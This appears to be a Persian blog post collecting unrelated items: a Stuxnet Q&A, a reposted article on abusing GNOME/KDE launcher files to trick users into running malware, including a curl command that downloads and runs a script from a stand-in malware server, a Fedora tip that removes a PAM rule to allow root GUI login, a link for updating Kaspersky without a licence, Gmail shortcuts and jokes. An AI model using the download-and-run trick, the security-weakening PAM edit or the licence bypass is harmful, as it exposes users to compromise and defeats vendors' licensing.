پرسش: استاکس‌نت چیست؟ پاسخ: یک کرم ویندوز است که توسط USB پخش می شود. این کرم می تواند در داخل یک سازمان خودش را در منابع به اشتراک گذاشته شدهٔ شبکه (در صورت انتخاب کلمات عبور ضعیف) پخش کند. پرسش: این کرم می‌تواند خودش را از طریق دستگاه‌های USB دار پخش کند؟ پاسخ: البته. استاکس‌نت می‌تواند خودش را از طریق هر چیزی که شما آن را به عنوان یک درایو نصب می‌کنید، پخش کند. مثلاً، گوشی تلفن همراه، هارد اکسترنال، فریم عکس و غیره. پرسش: کارش چیست؟ پاسخ: سیستم را آلوده کرده و خودش را با یک روت‌کیت مخفی می‌کند و به نظاره می‌نشیند تا اینکه سیستم آلوده به یک برند زیمنس متصل شود. پرسش: با سیستم کارخانه‌ایی زیمنس چه می‌کند؟ پاسخ: استاکس‌نت دستورات ارسال شده از کامپیوتر ویندوز دار به PLC (کنترل‌کننده) را تغییر می‌دهد. پرسش: چه‌کار با کارخانهٔ مورد نظرش می‌تواند انجام دهد؟ پاسخ: تغییرات پیچیده‌ایی برای سیستم ایجاد می‌کند. نتیجهٔ تغییرات بدون مشاهدهٔ محیط واقعی قابل کشف نیست. پرسش: چه کاری از این کرم بر می‌آید؟ پاسخ: می‌تواند موتورها، حمل‌کننده‌های تسمه‌ای و پمپ‌ها را تعدیل کند. استاکس‌‌نت می‌تواند یک کارخانه را از کار بیاندازد. و با یک تغییرات درست و حسابی قدرت انفجار اجزا را دارد. پرسش: چرا استاکس‌نت تا به این حد، پیچیده عنوان می‌شود؟ پاسخ: به این دلیل که از چندین حفرهٔ امنیتی استفاده کرده و به عنوان درایور خود بر روی سیستم قرار می‌گیرد. پرسش: چطور امکان‌پذیر است که یک کرم درایور متعلق به خودش را نصب کند؟ مگر نباید درایورها برای استفاده در ویندوز امضا شده باشند؟ پاسخ: درایور استاکس‌نت با یک گواهی‌نامهٔ دزدیده شده از Realtek امضا می‌شود. پرسش: آیا این گواهی‌نامهٔ دزدیده شده لغو نشده است؟ پاسخ: بله. VeriSign در ۱۶ جولای آن را لغو کرد. اما در ۱۷ جولای یک گونهٔ اصلاح‌شده با گواهینامهٔ دزدیده شده از JMicron یافت شد. پرسش: ارتباط بین JMicron و Realtek چیست؟ پاسخ: ارتباطی ندارند. اما ادارهٔ مرکزی هر دو کمپانی در یک شهرک صنعتی در تایوان واقع شده است. پرسش: چرا تحلیل جزئیات استاکس نت تا به این حد کند است؟ پاسخ: به این دلیل که به شکل فوق‌العاده‌ایی پیچیده و بزرگ است. حجم استاکس‌نت بیش از ۱٫۵ مگابایت است. پرسش: از چه زمانی کرم استاکس‌نت شروع به پخش شدن کرد؟ پاسخ: در ماه ژوئن ۲۰۰۹ و یا حتی پیش‌تر. یکی از اجزا تاریخ کامپایلِ ژانویه ۲۰۰۹ دارد. پرسش: چه زمانی کشف شد؟ پاسخ: یک سال بعد در ژون ۲۰۱۰ پرسش: چطور چنین چیزی امکان دارد؟ پاسخ: سوال خوبیست! پرسش: استاکس‌نت توسط یک دولت نوشته شده است؟ پاسخ: اینطور به نظر می‌رسد. پرسش: چگونه استاکس‌نت متوجه می‌شود که یک دستگاه پیش از این آلوده شده است؟ پاسخ: یک کلید رجیستری با مقدار ۱۹۷۹۰۵۰۹ برای علامت زدن دستگاه آلوده ایجاد می کند. پرسش: معنای ۱۹۷۹۰۵۰۹ چیست؟ پاسخ: تاریخ است. ۹ می ۱۹۷۹٫ پرسش: در ۹ می ۱۹۷۹ چه اتفاقی افتاد؟ پاسخ: شاید تاریخ تولد نویسندهٔ این کرم باشد. علاوه بر این، ۹ می ۱۹۷۹ زمانی است که تاجر مشهور ایرانی – یهودی، حبیب القانیان اعدام شد. پرسش: آیا استاکس‌نت خودش را تا ابد منتشر می‌کند؟ پاسخ: نسخهٔ فعلی تاریخ انقضای ۲۴ ژون ۲۰۱۲ دارد. روند پخش استاکس‌نت در این تاریخ متوقف خواهد شد. پرسش: چند کامپیوتر آلوده به این کرم شدند؟ پاسخ: صدها هزار. پرسش: چگونه مهاجمان تروجانی مانند این را به تأسیسات امن انتقال دادند؟ پاسخ: برای مثال، یافتن و آلوده کردن دستگاه USB یکی از کارمندان. سپس منتظر کارمند مانده تا دستگاه USB را به محل کارش برده و کامپیوتر محل کار را آلوده کند. در نتیجه، آلودگی از طریق دستگاه USB در تأسیسات امن پخش می‌‌شود. پرسش: در تئوری چه کارهای دیگری از استاکس‌نت بر می آید؟ پاسخ: سال پیش، زیمنس اعلام کرده بود که سیستم Simatic می‌تواند سیستم‌های اعلام خطر، کنترل‌های دسترسی و درب‌ها را کنترل کند. در تئوری، استاکس‌نت می‌تواند به مکان‌های فوق محرمانه دسترسی بیابد. ************************************************************************************** یکی از دانشجویان کارشناسی IT دانشگاه صنعتی شریف تو وبلاگش مطلب بسیار جالبی در مورد امنیت لینوکس نوشته که با اجازهٔ صاحبش عیناً منتقل می‌کنم. لابه‌لای این خطوط نکات بسیار ارزشمندی هست باید به اون‌ها توجه بشه. نقل قول: همهٔ ما در مورد ضدویروس بودن لینوکس چیزهای زیادی شنیده‌ایم. همه‌مان هم می‌دانیم که امکان ندارد ویروسی بتواند بدون اجازهٔ کاربر در لینوکس، دسترسی ریشه ‌(Root)‌ بگیرد. این را هم می‌دانیم که بیت‌های اجرایی برای اجرای هر چیزی در لینوکس به‌کار میروند، مگر فایل‌هایی که از طریق وب دریافت میشوند. البته، شایان ذکر است که توضیح دهیم ساختار سیستم عامل لینوکس بسیار مستحکم‌تر از ویندوز است و به‌سادگی کاربران نمیتوانند با دریافت یک فایل آلوده، دچار مشکل شوند. اما، خواهیم دید که چطور با پیمودن چند مرحله ساده، ‌میتوان برای لینوکس هم بدافزار نوشت. ‌ ‌ گفته شده است که کدی که در ادامه مینویسیم، در دسته ویروس‌ها قرار نمیگیرد و بیشتر به‌عنوان تروجان‌ها مطرح میشود. همچنین، باید ذکر کنیم که این حفره‌های امنیتی از ویژگیهای محیط‌های رومیزی بیشتر لینوکس‌های محبوب، یعنی گنوم و کیدیئی به‌شمار میرود. خود هسته اصلی لینوکس هیچ کدام از این حفره‌ها را ندارد. لینوکس یا هر سیستم دیگری که بر پایه یونیکس کار میکند، اگر از گنوم یا کیدیئی استفاده نکنند، قطعا هیچ مشکلی نخواهند داشت. همچنین گفته باشیم که جدا بودن میزکار از سیستم عامل، خود مزیت بزرگی به‌شمار میرود و شما میتوانید با تغییر میز کار خود از این مشکل نیز دوری کنید. ‌ اگر بدنبال راه جدیدی برای نفوذ به کامپیوتر آسیب‌پذیر میگردید، باید ناامیدتان کنیم. یکی از ابتداییترین ویروس‌ها، با اجرای کاربر فعال میشود و ساختار ساده‌ای داشت. ما نیز از همین روش استفاده خواهیم کرد و آن را روی محیط کار مدرن لینوکس پیاده خواهیم نمود. ‌ ‌ در ویندوز روال کار ساده است، شما یک ویروس مینویسید، آن را با پسوند ‌.exe‌ ذخیره میکنید و به ایمیل‌تان پیوست میکنید. سپس با یک عنوان اغواکننده، کاربر را وادار به باز کردن آن میکنید و کاربر نگون‌بخت با باز کردن آن در سیستم عامل خودش — ویندوز و در غیاب حضور نرم‌افزار ضدویروس، به آن دچار خواهد شد. در یک چشم به‌هم‌زدن بدافزار خود را نصب میکند و سیستم را تصاحب خواهد کرد. ‌ ‌ شما فکر میکنید چنین چیزی در لینوکس ممکن نیست؟ معلوم است که چنین چیزی ممکن است. فقط نیاز به یکی دو گام بیشتر دارد. هرچند، در معماری پایه‌لینوکس برای جلوگیری از حماقت کاربر و باز کردن فایل‌های آلوده، هیچ تدبیری اندیشیده نشده است. بنابراین، ما مرکز حملات خود را از این ناحیه یعنی نادانی کاربر آغاز خواهیم کرد. ‌ ‌ فقط یک یا دو مورد هست که باید به آنها دقت کرد. نخست این را بگوییم که بیشتر نرم‌افزارهای ایمیل‌خوان لینوکس فایل‌های پیوست را اجرا نمیکنند. این نرم‌افزارها فقط در صورتی فایل‌های پیوست را اجرا میکنند که بدانند محتوای آن چیست، یا پسوند آن را بشناسند (برای مثال فایل ‌PDF‌ یا دیگر پرونده‌ها....) فرض کنیم که شما ویروس خود را با زبان زیبای پایتون نوشته باشید و پسوند آن هم .py‌‌ باشد. در این صورت یکی باید تنظیمات سیستم را تغییر بدهد که این پسوند اجرا شود، چه کسی قرار است این کار را بکند؟ پس نتیجه میگیریم که باید از راه دیگری وارد شویم. چیزی که همیشه موقع کلیک کردن اجرا شود و به سراغ مرحله بعدی برویم. کاربر اول باید پیوست را ذخیره کند و بعد روی آن دوبار کلیک کند. از آن‌جایی که نرم‌افزار ایمیل‌خوان این اجازه را نمیدهد، مجبوریم به میزکار رجوع کنیم و خواهیم دید که چه‌ساده اجازه این کار را خواهد داد. کافی است که بار دیگر به نادانی کاربر اعتماد کنیم و مثلا جمله‌ای بنویسیم که: (اگر پیوست باز نمیشود، روی میزکار خود ذخیره کنید و بعد بازش کنید...) بیشتر ما این پیغام را مشکوک قلمداد میکنیم، اما همه‌ما نه. بنابراین، عده‌ای از میان ما حتما آن را روی میزکارشان ذخیره خواهند کرد. ‌ ‌ غفلت کاربران را دست کم نگیرید حتی در لینوکس شما حتما میخواهید بگویید که کاربران لینوکس نسبت به کاربران ویندوزی از آن‌چه انجام میدهند، هشیارترند. چرا که انتخاب سیستم عامل دیگری جدای ویندوز و همچنین، یادگیری کار کردن با آن، دانشی فراتر از کاربران غیرفنی را به‌آنها خواهد داد. اما این موضوع در حال تغییر است، با انقلاب نت‌بوک‌ها که به‌عنوان پیش‌فرض رویشان لینوک نصب است. بسیاری از این کاربران دیگر آگاهانه لینوکس را انتخاب نکرده‌اند و درست میزان غفلت‌شان به اندازه کاربران ویندوزی خواهد بود. ‌ ‌ همچنین، دوران بیدغدغه لینوکسی در گذشته، این حس غلط را به کاربران القا کرده است که لینوکس همواره امن است. ما از همین ذکر که «لینوکس بسیار امن است و نیازی به نرم‌افزار ضدویروس ندارید!» برای حمله استفاده خواهیم کرد و خیالمان راحت است که وقتی آسیب زدیم، نرم‌افزار ضدویروسی وجود ندارد که بخواهد مچ ما را بگیرد. بسیار خب، به مسایل فنی بازگردیم، بیشتر نرم‌افزارهای ایمیل‌خوان،‌فایل‌های پیوست را روی میزکار کاربر و در شاخه دانلود قرار میدهند. بنابراین اگر کاربر فایل را بررسی نکند و آن را ذخیره کند، حقه‌مان را زده‌ایم. همان‌جایی که ما مدنظرمان بود، فایلمان قرار میگیرد. ‌ ‌ اجرا کردن فایل پیوستی قبلا گفتیم که فایل‌های پیوستی وقتی ذخیره میشوند، به‌طور عادی اجرا نمیشوند. هیچ پسوندی در لینوکس وجود ندارد که بگوید وقتی روی این فایل کلیک شد، ‌آن را اجرا کن و این برخلاف ویندوز و پسوند ‌.exe‌‌اش است. بنابراین، مشکل دوم و بزرگی که به آن میخوریم این است: برای اجرای یک فایل در لینوکس، حتما باید کاربر در بخش دسترسیهای فایل،‌آن را به فایل اجرایی تبدیل کند. این همان چیزی است که ویندوز ندارد. و به‌خاطر همین است که آلوده کردن سیستم‌های ویندوزی بسیار ساده‌تر است و تقریبا در سیستم‌های مبتنی بر لینوکس غیرممکن به‌نظر میرسد. وقتی یک فایل پیوستی را روی کامپیوتر خود ذخیره میکنید، پرچم اجرایی کردن فایل علامت نمیخورد و به‌همین ترتیب، وقتی روی فایل کلیک میشود، فایل اجرا نمیگردد. ‌ ‌ تند نرویم. محیط‌های میزکار مدرنی چون کیدیئی یا گنوم، یک راه درروی زیبا به نام «سکوی پرتاب» یا ‌Launcher‌ به ما ارائه میدهند. سکوهای پرتاب فایل‌های کوچکی هستند که نشان میدهند چه چیز بایستی اجرا شود. فقط چند خط کوتاه میتواند اسم، آیکن و دستوری که باید اجرا شود را مشخص کند. خوشبختانه برای ما، گرامر دستور نوشتن در کیدیئی و گنوم یکی است. همچنین جالب است بدانید این سکوهای پرتاب نیازی به تنظیمات اجرایی ندارند! محیط‌های میزکار این فایل‌ها را به‌عنوان فایل استثنا قلمداد میکنند. ‌ ‌بنابراین وقتی روی فایل سکوی پرتاب گنوم یا کیدیئی کلیک میکنید، بدون آن‌که نیازی به تنظیم کردن دسترسی خاصی باشید، آن فایل اجرا میشود. به‌نظرتان سخت است که با یک دستور بخواهیم یک بدافزار را روی سیستم نصب کنیم؟ این‌جا را ببینید: ‌% bash -c "curl http://www.some_malware_ server.org/s.py -o /tmp/s.py; python /tmp/s.py" ******************************************* اینجا یه مقایسه بین زبان‌های برنامه‌نویسی و ادیان و مذاهب انجام شده که فکر می‌کنم شدیداً به واقعیت نزدیکه: C = یهودیت: قدیمی و محدودکننده است، ولی بیشتر دنیا با قوانینش آشنا هستند و بهش احترام میذارن. نکته اینجاست که شما نمی‌تونین بعداً بهش گرایش پیدا کنین – یعنی یا باید باهاش شروع کنین و یا اینکه در غیر این صورت فکر می‌کنین گرویدن بهش دیوانگیه. همچنین وقتی چیزی غلط از آب در بیاد، بیشتر مردم معتقدن که ریشۀ همۀ مشکلات ازش منشأ می‌گیره. * جاوا = مسیحی معتقد: در تئوری پایه‌اش همون C هست، ولی خیلی از قوانین کهنه رو کنار گذاشته به طوری که دیگه شبیه مبدأش نیست. در عوض، قوانین سفت و سخت خودش رو اضافه کرده، با این حال طرفدارانش معتقدن که چه بهتر که از مبدأش دور شده و ترجیح میدن سمت مبدأ نرن. نه تنها طرفدارانش معتقدن جاوا بهترین زبان دنیاست، بلکه حاضرن هر کسی رو که در این زمینه باهاشون هم عقیده نیست رو بسوزونن! * PHP = مسیحیت التقاطی: تو بازار وب داره با جاوا می‌جنگه. یه سری مفاهیم رو انتخابی و دلبخواهی از C و جاوا گرفته، یعنی اونایی که خوشش اومده. ممکنه مثل زبان‌های دیگه منسجم نباشه ولی آزادی عمل بیشتری به شما میده و علی‌الظاهر ایدۀ اصلی هر چیزی رو درون خودش داره. همچنین مفهوم کلی «برو/رفتن به جهنم» رو حذف کرده. *++C = اسلام: زبان C رو پوشش میده البته علاوه بر اینکه همۀ قوانین C رو داره، مجموعۀ پیچیده‌ای از قوانین جدید رو هم اضافه کرده. مستعد اینه که برای پایه‌ریزی هر چیزی استفاده بشه، از بزرگترین قساوت‌ها گرفته تا زیباترین آثار هنری. پیروانش معتقدن که غایی‌ترین و کامل‌ترین زبان جهانی هست و ممکنه از دست کسانی که باهاشون موافق نیستن خشمگین بشن. همچنین، اگه به خودش و یا مؤسسش بی‌احترامی کنید ممکنه توسط طرفداران افراطیش تهدید به مرگ بشین. * #C = مورمن: تو یه نظر اجمالی شبیه جاواست ولی با دقت بیشتر متوجه میشیم که اولاً توسط شرکتی عرضه میشه که طرفداران جاوا معتقدن شیطان هست و دوماً این که مفاهیم پایه و کلیدی‌اش کاملاً متفاوته. ممکنه از انتخاب‌تون راضی باشین در صورتی که همۀ طرفداران جاوا به خاطر پیروی ازش، براتون تبعیض قائل نشن. * Lisp = آیین بودا: نحوی وجود نداره، مرجع و یا مرکزیتی هم برای عقاید وجود نداره، همچنین خدایی برای پرستش وجود نداره. تمام دنیا در دستان شماست – اگر به طور کامل اونو فهمیده باشین. یه سری میگن Lisp اصلاً یک زبان نیست یه سری دیگه هم میگن تنها زبانیه که دارای احساس هست. * Perl = ساحری: مجموعه نامشخصی از طلسم های محرمانه و مخفی هست که کار کردن با این قوانین عجیب و غریب، در دراز مدت روان تون رو آزار میده. اغلب فقط زمانی بهش احتیاج دارین که رییستون کار فوری ای رو از شما بخواد مثلاساعت ۹:۰۰شب جمعه! * Python = انسان‌گرایی: ساده است و محدودیت خاصی نداره و تنها چیزی که نیاز دارین تا پیروش باشین عرف و حضور ذهن هستش. خیلی از طرفدارانش ادعا می کنن که خیالشون از تمام محدودیت‌های تحمیل شده در سایر زبان‌ها راحت شده و تازه دارن لذت برنامه‌نویسی رو می‌چشن! کسانی هم وجود دارن که میگن این زبان فرمی از شبه‌کد (pseudo-code) هستش. * COBOL = الحاد باستانی: یه زمانی در ناحیۀ پهناوری از دنیا حکمرانی می‌کرد و خیلی هم مهم بود، ولی خوشبختانه امروزه تقریباً دیگه منسوخ شده. اگرچه خیلی‌ها اون موقع از تشریفاتی که خدایانش می‌خواستن، وحشت می‌کردن، امروزه هنوزم یکسری اصرار دارن که این زبان باید زنده بمونه. * ویژوال بیسیک = شیطان‌‌پرستی: با این تفاوت که برای شیطان‌پرست شدن لازم نیست واقعاً روحتون رو به شیطان بفروشید! ************************************************ این مطلب ویژه‌ی لینوکسی‌ها هست. پس اگه با لینوکس رابطه‌ای ندارید این مطلب به دردتون نمی‌خوره. (هوی ویندوزکار! بزن کنار باد بیاد!) همونطور که میدونید Fedora اجازه نمیده با کابر root وارد سیستم بشیم. البته به دلایل امنیتی گاهی اوقات این کار لازم به نظر میرسه. اما خیلی‌ها (مثل اینجانب) اصلاٌ باهاش حال نمی‌کنن. چون بهتره همه چیز روی gui انجام بشه تا اینکه توسط Konsol یا Termional به صورت دستی. خیلی آدما فقط به خاطر همین ویژگی فدورا رو کنار میذارن و با وجود اینکه KDEی suse ضعیف‌تره؛ از OpenSUSE استفاده می‌کنن. تنظیمات فدورا به طور دستی به شما اجازه نمیده که این ویژگی رو غیر فعال کنید اما روشی هست که میتونید این کار رو انجام بدید! برای این کار مراحل زیر رو طی کنید: ۱- کنسول یا ترمینال رو باز کنید. ۲- با root وارد شوید. برای این کار کافیست بنویسید: su بعد از وارد نمودن پسورد؛ مشاهده می‌کنید که خط فرمان ترمینال به شکل زیر تغییر پیدا می‌کند: [root@localhost ~]# ۳- فایل‌های gdm و gdm-password را داخل /etc/pam.d/ ویرایش کنید. اول وارد مسیر مذکور شوید. بعد فایل‌ها را باز کنید. می‌توانید هر ویرایش‌گری را به کار ببرید. من vi را ترجیج می‌دهم: [root@localhost ~]# cd /etc/pam.d/ [root@localhost ~]# vi gdm خط زیر را پیدا کنید و آن را کلاً حذف نمایید: auth required pam_succeed_if.so user != root quiet فایل را ذخیره کنید و از vi خارج شوید. همین کار را روی gdm-password تکرار کنید. ۴- تمام شد! log out کنید و با root وارد شوید! یک پیغام هشدار مبنی بر اینکه امنیت برقرار نیست دریافت خواهید کرد. مهم نیست تیکِ don't show again را فعال کنید و به کار خود ادامه بدهید. ************************************************** اگه ADSL دارید و می­خواید Kasper Sky رو Online آپدیت ­کنید به لینکه زیر سر بزنید تا همیشه بدون license اونو update کنید. http://www.4shared.com/file/_VH_ySUb/______Kasper_Sky.html ************************************************ یک YAhoo Group هستش که من عضوشم مطالبش هم انصافا جالبه. خواستین عضو شین. آدرسش اینه : www.iranvij.ir اینم لینکه یه صفحش: http://www.iranvij.ir/group/email/khordad/89.3.8/Esteghlal_arga.htm *********************************************** در سرويس ايميل گوگل (جي‌ميل) کليدهاي ميانبر بسيار پر کاربردي وجود دارد که بسياري از کاربران جي‌ميل از آن بي‌اطلاع هستند. به همين دليل در اين مطلب تصميم گرفتم که کليدهاي ميانبر اين سرويس را همراه با توضيحات کامل آن بنويسم: كليدهاي ميانبر در جي ميل : کليدهاي تک: کليد C: ايجاد Compose. در صورتي که کليد Shift+C را بزنيد، پنجره‌ي Compose در پنجره‌اي جديد باز مي‌شود. کليد /: جستجو در ايميل. در جعبه‌ي جستجو با نوشتن کلمه‌اي که مي‌خواهيد جستجو کنيد. کليد K: رفتن به قسمت Conversation جديد. کليد J: رفتن به قسمت Conversation قديم. کليد N: ايميل (پيام) بعدي. کليد P: ايميل (پيام) قبلي. کليد O يا Enter: باز کردن. Conversationهاي شما را باز مي‌کند. حال چه در حالت Expands يا Collapses باشد. کليد U: بازگشت به ليست Conversation. کليد Y: آرشيو. آنچه را که در حال ديدن آن هستيد را به قسمت آرشيو ايميل شما مي‌فرستد. کليد X: انتخاب Conversation. براي آنکه آن را بخواهيد پاک، آرشيو و کارهاي از اين نوع کنيد. کليد S: ستاره‌دار کردن پيام يا Conversation. کليد ‍!: گزارش دادن اسپم بودن يک پيام يا Conversation. کليد R: جواب دادن (Reply) به پيام. در صورتي که کليد Shift+R را بزنيد، پنجره‌ي جواب دادن در پنجره‌اي جديد باز مي‌شود. کليد A: جواب دادن به همه (Reply All). در صورتي که از کليدهاي Shift+A استفاده کنيد، پنجره‌ي Reply All در پنجره‌اي جديد باز مي‌شود. کليد F: فوروارد کردن. در صورتي که از کليدهاي Shift+F استفاده کنيد، پنجره‌ي فوروارد در پنجره‌اي جديد باز مي‌شود. کليد Esc: خارج شدن کليدهاي ترکيبي: Tab سپس Enter: فرستادن پيام Y سپس O: آرشيو کردن Conversation و رفتن به Conversation بعدي. G سپس A: رفتن به قسمت All Mail G سپس S: رفتن به قسمت Starred G سپس C: رفتن به قسمت Contacts G سپس D: رفتن به قسمت Draft G سپس I: رفتن به قسمت Inbox *************************************************. يك بازي رايانه‌اي كه به ترويج بت‌پرستي و شرابخواري مي‌پردازد به صورت رايگان عرضه شده و ظاهرا داراي مجوزهاي قانوني است! به گزارش گروه "فضاي مجازي " خبرگزاري فارس به نقل از سايت جهان نيوز بازي "اي... " كه از سري بازي‌هاي گيم فورج (Gameforge) است مدتي است كه مانند ساير بازي‌هاي رايانه‌اي اين گروه طرفداران زيادي در كشور پيدا كرده است. اين بازي به ظاهر ساده تلاش كرده است موضوع شراب خواري را تبليغ كند به شكلي كه بازيكنان بايد در اين بازي نسبت به برداشت از منابع انگور و سپس نسبت به ايجاد كارخانه آب انگورسازي (شرابخانه) اقدام كنند. در اين بخش بازيكن مي تواند مشخص كنند دقيقاً چه مقدار آب انگور (شراب) به ساكنين ارائه شود. هرچه آب انگور بيشتري ارائه شود، ساكنين خوشحال‌تر مي‌شوند! در توضيح اين بخش آمده است: "بعد از يك روز كاري سخت هيچ چيز به اندازه يك ليوان آب انگور خنك نمي‌چسبد. به همين دليل ساكنين تو به آبميوه فروشي مي روند و هنگامي كه آهنگهاي قديمي خوانده مي شود، آنها با خوشي و شادي به خانه هايشان مي روند. هر توسعه در آبميوه فروشي به تو اجاره مي دهد تا آبميوه بيشتري ارائه دهي. " جالب‌تر آن كه در نسخه هاي جديدتري اين بازي بخشي به نام "معجزه‌ها " اضافه شده است كه در اين بخش قلعه آهنگري هيفاستوس يا همان الهه آتش و فلز، جنگل هايدس يا همان الهه مرگ، باغ هاي ديميتر يا همان الهه كشاورزي، معبد آتن يا همان الهه حكمت و فلسفه، معبد هرمس يا همان الهه بازرگاني، قلعه آرز يا همان الهه جنگ، معبد پوسايدون يا همان الهه دريا و كلاسوس يا همان مجسمه بزرگ نامگذاري شده‌اند و بازيكن بايد با ساخت معبد و اهدا كردن به اين بت‌ها منتظر معجزه بماند. در تعريف معبد آمده است: "معبد محل باورها، عقايد و انديشه است. كشيشان در اينجا زندگي مي‌كنند، الهه هاي خود را ستايش مي كنند و سخنان آنان را در سرتاسر جزيره منتشر مي كنند. تو هم مي تواني در اينجا براي معجزه ها دعا كني، به شرطي كه به آنها احترام بگذاري. " تمامي اين موارد در حالي است كه مسئولان اين بازي با مهر وزارت ارشاد تاييديه به بازي خود زده‌اند. موضوعي كه به نظر مي‌رسد مسئولان وزارت ارشاد بايد در باره اين بازي و بازي‌هاي رايانه‌اي ديگر توجه جدي‌تري داشته باشند. ************************************************ برنامه نویس موفق هیچ وقت سر وقت در محل کارش پیدایش نمیشود معنای نیمه شب ها برای یک برنامه نویس با نیمه شب انسان های عادی تفاوت دارد یعنی ۱۰ صبح برای یک انسان عادی یک برنامه نویس همیشه تعدادی لغات تخصصی در آستین دارد که میتواند با سر هم کردن آنها دیگران را گیج کند برای یک برنامه نویس هیچ راه حلی بالاتر از Restart کردن وجود ندارد نام بیل گیتس برای هر برنامه نویس موفق مقدس است و معبدش مایکروسافت و گوگل میباشد. برنامه نویس موفق فقط و فقط با لب تاپ خود عشق بازی میکند. یک برنامه نویس موفق اکثراً قهوه و چایی ولرم مینوشد. برنامه نویسی موفق است که کلمه نظم را خودش معنا کرده باشد اتاق و محل کار یک برنامه نویس موفق هیچگاه مرتب نیست بلکه تابع معنای نظم زندگیش است یک برنامه نویس موفق میداند که فست فود تنها غذای جسم اوست و یک موزیک متالیکا بخصوص مال ۱۹۹۲ غذای روحش یک برنامه نویس موفق به ندرت عصبانی میشود ولی وای به آن لحظه که عصبانی شود. برنامه نویس موفق در هر لحظه میتواند کل کل کند ولی معنای باخت را هرگز نچشد. همیشه مشکوک است ولی خود را آرام نشان میدهد. یک برنامه نویس موفق همیشه با دیوان شمس لاس میزند ولی همیشه هم فاصله اش را با آن حفظ میکند اوج زندگیش را در سن ۱۸ تا ۲۶ سالگی میداند. برنامه نویس موفق همه بچه ها را دوست دارد تا وقتی گریه نکنند. فقط یک برنامه نویس موفق است که معنای ۵۴ ساعت بیداری و کار مداوم را درک میکند. برنامه نویس موفق همیشه تنهاست. زندگی او در برنامه هایش خلاصه شده است. مردم برای یک برنامه نویس موفق نقش ابلهانی را دارند که فقط میتوانند سفارش پروژه ای را بدهند که خودشان هم دقیقا نمیدانند هدفشان از سفارش آن پروژه چیست کابوس او شرکت در جلسه ای با حضور کاربران عوام است و بلاهای طبیعیش بهم ریختن ویندوز اینترنت را قطع کنید تا ببینید او چه رفتارهای ناهنجاری انجام میدهد. بدترین دعوا را فقط او میتواند با مدیر عامل داشته باشد ولی ککش هم نگزد همیشه عجله دارد ولی مرد یک دو سه نیست. خب! کدومتون یک برنامه نویس موفق هستید؟ ************************************ 1- در زندگی و معاشرت با دیگران، نرم افزار باشیم نه سخت افزار. 2- در سایت زندگی، همیشه لینکِ (Mahabbat) داشته باشیم و هیچ گاه برای این سایت، فیلتر نگذاریم. 3- برای پسوند فایل زندگی اجتماعی و خانوادگی ، از سه کاراکتر « ع» ، « ش » و « ق » استفاده کنیم. 4- هیچگاه قفل سی دی قلب مردم را نشکنیم . که «تا توانی دلی به دست آور/ دل شکستن هنر نمی‏باشد». 5- چنانچه در کاری شکست خوردیم آن را « shut down » نکنیم بلکه آن را « restart » کنیم. 6- برای مانیتور زندگی‏مان بک گراند (Background) سبز یا آبی را در نظر بگیریم، نه سیاه یا دودی . 7- برای سیستم قلبمان از مانیتورهای تخت و صاف (Flat) استفاده کنیم. 8- روی کلیدهای عیب کیبورد خودمان انگشت بگذاریم، نه روی کلیدهای عیب کیبورد دیگران. 9- برای فایل‏های اسرار زندگی مان پسورد ( password) بگذاریم و آنرا مخفی ( hidden ) کنیم. 10- همواره پیش از سخن گفتن، سی پی یوی فکرمان را به کار بیندازیم. 11- صفحه مشکلات مردم ، کلید F1 باشیم و آنان را کمک و راهنمایی (help) کنیم. 12- اگر شخصیت ما ژله‌ای نیست و بزرگ و والاست، این نوع شخصیت، نباید حتی به ما اجازه دهد که با هر کسی چت (Chat) کنیم و هر کسی با ما چت کند. 13- برای باغ زندگی مردم windows باشیم نه dos !!! 14- یک معادله ریاضی- رایانه‏ای به ما می‏گوید: «تا به فکر ساپورت دیگران نباشیم، دیگران به فکر ساپورت ما نخواهند بود». 15- اگر از کسی بدی و کم لطفی دیدیم ، آنرا « save » نکنیم بلکه آنرا « delete » نماییم و حتی آنرا از ریسایکل بین « recyclebin » قلبمان کاملا" محو کنیم . 16- به دیگران اجازه ندهیم در «سی دی رام» زندگی‏مان هر نوع «سی دی» را که بخواهند، قرار دهند. 17- خانه و دفتر کارمان، به روی مردم نیازمند،«Open» باشد. 18- برای حل اختلافات روی گزینه « گذشت و ایثار » دابل کلیک ( double click ) کنیم. 19- تا حرف کسی تمام نشده ، اسپیکر ( speaker ) خود را روشن نکنیم. 20- درآمدمان را در اول ماه پارتیشن بندی کینم تا در آخر ماه کم نیاوریم. 21- برای رفع گرفتاری‏های مردم اتوران ( autorun ) باشیم. 22- همان گونه که دیگران سایت «گوگل» را طراحی کرده‏اند، ما نیز سایت «گو- گل» را برای مردم طراحی کنیم تا در ارتباطات خود با یکدیگر، گل بگویند و گل بشنوند. 23- در سایت زندگی شخصی مان، یک رُوم (Room) به نام مشکل گشا (Moshkelgosha) بسازیم تا دیگران با ما چت (Chat) کنند. 24- هنگام مشاهده خوبی‏ها و نیکی‏های دیگران ، بلافاصله کلید پرینت اسکرین ( print screen ) را بزنیم و از آن عکس بگیریم. 25- در زمان ناتوانی، درماندگی و تاریکی زندگی دیگران ، کلید « Power » برای آنان باشیم. 26- نگذاریم هر کسی در رُوم (Room) زندگی مان چت نماید و در این صورت، او را ایگنور (Ignore) کنیم. 27- چشم‏های‏مان را به روی عیب های پنهان مردم، «Close» کنیم. 28- گاه و بی گاه، کامپیوتر زندگی ما هنگ (Hang) می کند که باید آن را با « فکر »، « مشورت » و «برنامه ریزی»، ری استارت (Restart) نماییم. 29- برای کپی گرفتن از دیسکت زندگی دیگران، نخست آن را ویروس یابی و سپس ویروس کشی کنیم. **********************************************